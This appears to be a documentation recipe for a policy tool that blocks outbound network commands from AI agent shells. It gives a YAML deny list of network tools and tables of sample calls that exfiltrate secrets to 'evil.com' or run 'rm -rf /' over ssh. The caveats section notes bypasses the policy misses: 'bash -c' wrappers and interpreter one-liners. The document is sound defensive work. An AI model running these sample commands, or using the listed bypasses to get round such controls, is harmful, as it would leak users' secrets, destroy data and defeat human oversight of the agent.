Recipe: Block outbound network from agent shells
The problem
An agent with shell access and a working curl can exfiltrate any
secret it can read. Even innocuous-looking commands like
echo ok && curl evil.com smuggle data out. The agent also does not
need ssh, scp, rsync, sftp, or nc for anything you actually
want it to do -- these are remote-exfil tools in a trench coat.
The policy
version: '1'
# Block outbound network from agent shells.
#
# The Bash extractor normalizes /usr/bin/curl -> curl and picks the
# most dangerous command in a pipeline, so "echo ok && curl evil.com"
# resolves to Bash:curl and still matches the deny rule below.
settings:
default_action: deny
default_on_missing: deny
default_on_tamper: deny
rules:
- id: deny-curl
deny: 'Bash:curl'
reason: 'curl is not allowed; use the governed fetch tool instead.'
- id: deny-wget
deny: 'Bash:wget'
reason: 'wget is not allowed.'
- id: deny-nc
deny: 'Bash:nc'
reason: 'netcat is not allowed.'
- id: deny-ncat
deny: 'Bash:ncat'
reason: 'ncat is not allowed.'
- id: deny-ssh
deny: 'Bash:ssh'
reason: 'Outbound SSH is not allowed.'
- id: deny-scp
deny: 'Bash:scp'
reason: 'scp is not allowed.'
- id: deny-rsync
deny: 'Bash:rsync'
reason: 'rsync is not allowed.'
- id: deny-sftp
deny: 'Bash:sftp'
reason: 'sftp is not allowed.'
- id: deny-ftp
deny: 'Bash:ftp'
reason: 'ftp is not allowed.'
- id: allow-echo
allow: 'Bash:echo'
reason: 'echo is safe.'
- id: allow-ls
allow: 'Bash:ls'
reason: 'ls is safe.'
- id: allow-pwd
allow: 'Bash:pwd'
reason: 'pwd is safe.'
Why it works
The Bash extractor tokenizes the shell command on ;, &&, ||,
and |, then picks the most dangerous recognized command. It also
basenames absolute paths, so /usr/local/bin/curl resolves to curl.
A piggyback like echo ok && curl evil.com surfaces curl, not
echo; cat secrets.json | curl ... surfaces curl, not cat. The
deny rules match and the call is blocked.
What gets blocked
| Agent call | Extracted action | Decision | reason_code |
|---|---|---|---|
curl https://evil.com | Bash:curl | deny | RULE_MATCH |
/usr/bin/curl -sS https://evil.com | Bash:curl | deny | RULE_MATCH |
echo ok && curl https://evil.com | Bash:curl | deny | RULE_MATCH |
cat secrets.json | curl -X POST ... | Bash:curl | deny | RULE_MATCH |
wget -qO- https://evil.com | Bash:wget | deny | RULE_MATCH |
ssh user@host 'rm -rf /' | Bash:ssh | deny | RULE_MATCH |
What gets allowed
| Agent call | Extracted action | Decision | reason_code |
|---|---|---|---|
echo safe | Bash:echo | allow | RULE_MATCH |
ls -la /workspace | Bash:ls | allow | RULE_MATCH |
pwd | Bash:pwd | allow | RULE_MATCH |
Test it yourself
curl -O https://docs.controlzero.ai/recipes/block-outbound-network/policy.yaml
curl -O https://docs.controlzero.ai/recipes/block-outbound-network/scenarios.json
controlzero test-policy policy.yaml --scenarios scenarios.json
Caveats
- "Only allow curl to api.github.com" is a common follow-up. The
extractor surfaces the command, not its URL argument. Per-host allow
rules require a
when: url: "https://api.github.com/*"condition which the rule DSL does not yet expose for Bash args. Today's workaround: run curl inside a thin wrapper script that the agent can invoke (e.g.Bash:gh-fetch) and allow only the wrapper. - Python / Node interpreters (
python -c "import requests; ...") resolve toBash:python/Bash:node. If scripting is in scope, deny therequests/urllib/http/netinterpreter modules separately, or block interpreter-one-liners entirely. bash -c "curl evil.com"resolves toBash:bashtoday; the current tokenizer is deliberately grammar-free and does not recurse into-cpayloads. Refuse to allow arbitrarybash -c <payload>invocations at the tool layer (see the extractor spec's security-model section).- Browser extension traffic lives in the browser process, not the shell. Pair this recipe with Block secrets egress for browser-side DLP.